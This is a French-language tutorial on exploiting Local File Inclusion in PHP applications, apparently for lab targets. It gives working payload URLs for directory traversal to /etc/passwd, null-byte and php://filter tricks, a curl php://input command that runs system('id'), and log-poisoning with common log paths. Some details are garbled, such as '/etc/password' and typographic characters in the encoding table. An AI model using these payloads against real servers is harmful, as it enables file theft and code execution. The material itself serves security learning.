Inclusion de Fichier Local (LFI)

LFI

De nombreux langages de programmations, comme le php, sont capable de lire des fichiers et les interpréter pour générer des pages HTML dynamiques.
Cette fonction peut être détournée si elle prend en entrée une variable modifiable par l'utilisateur.

Par exemple:
L'url http://10.10.10.11/index.php?page=login.php est envoyée au serveur.
A la réception de cette requête, le serveur va inclure le fichier 'login.php', et l'éxécuter pour générer la page de login.

Nous allons remplacer 'login.php' par le nom d'un autre fichier, par exemple '/etc/passwd'.

http://10.10.10.11/index.php?page=/etc/passwd

Le serveur web apache fonctionne généralement dans le répertoire /var/www/html.
Si nous précisons page=/etc/passwd, le serveur risque de chercher le fichier /var/www/html/etc/passwd.
Nous utilisons alors /../ pour remonter d'un répertoire.

/var/www/html/../etc/passwd => /var/www/etc/passwd.
/var/www/html/../../etc/passwd => /var/etc/passwd.

Nous utilisons une série de ../../../../../ devant le nom du fichier pour forcer le serveur à redescendre au niveau de la racine des répertoires.
/var/www/html/../../../../../../../ vaut /, quel que soit le nombre de ../

http://10.10.10.11?page=../../../../../etc/passwd

Une LFI permet de lire TOUS les fichiers de la machine accessible au compte du serveur web.

Le serveur extrait le paramètre 'page' de la requète http://10.10.10.11/index.php?page=login, et ajoute l'extension '.php' avant d'inclure le fichier.

http://10.10.10.11/index.php?page=/etc/password va essayer d'ouvrir sans success /etc/password.php.

Sur les version de php antérieures à 5.3.4, l'ajout d'un null byte à la fin de notre paramètre va signifier la fin de la chaine de caractère, et conduit à ignorer l'extension '.php'.

http://10.10.10.11/index.php?page=/etc/password%00
<   %3C %253C
>   %3E %253E
«   %22 %2522
‘   %27 %2527
/   %2F %252F
.   %2E %252E
=   %3D %253D
–   %2D %252D
:   %3A %253A

Les développeurs ayant conscience des risques de LFI peuvent ajouter des fonctions qui vont filtrer les entrées.
Ils vont supprimer les ../ et les / dans le nom du fichier
Ce genre de filtre s'appelle un Waf : Web Application Filter.

Il est possible de contourner ces filtres de plusieures manières:

Le langage php offre la possibilité de passer les fichiers dans des filtres avant de les ouvrir. Il est ainsi possible d'encoder un fichier en base64 avant de l'ouvrir.

http://10.10.10.11/index.php?page=php://filter/read=convert.base64-encode/resource=login.php 
http://10.10.10.11/index.php?page=php://filter/convert.base64-encode/resource=login.php 

Il ne reste plus qu'à décoder pour obtenir le code source du fichier php.

Le langage php permet de traiter le contenu de la requête HTTP comme un fichier. Il est ainsi possible de lire et faire executer le contenu brut des données en POST avec php://input.

curl -X POST -d 'test=<? system ("id"); ?>' http://pwnlab/?page=php://input

Ne fonctionne que si l'option allow_url_include = On est active dans la config php. Cette option est désactivée par défaut.

Pour injecter une payload Php dans le fichier de logs d'un serveur web, il suffit de faire une requête de type HTTP GET contenant du code php dans l'url.
Pour un serveur ftp ou ssh, injecter la payload dans le login. Nous utilisons ensuite une LFI sur le fichier de log pour déclencher l'execution de la payload.

Fichiers de logs usuels:
Apache
/var/log/apache/access.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/httpd/error_log

Nginx
/var/log/nginx/access.log
/var/log/nginx/error.log

Ssh
/var/log/sshd.log

Il est possible de vérifier l'emplacement des fichiers de logs en lisant les fichiers de config.
Fichier de config de Nginx: /etc/nginx/nginx.conf
Entrée du fichier de config : access_log /spool/logs/nginx-access.log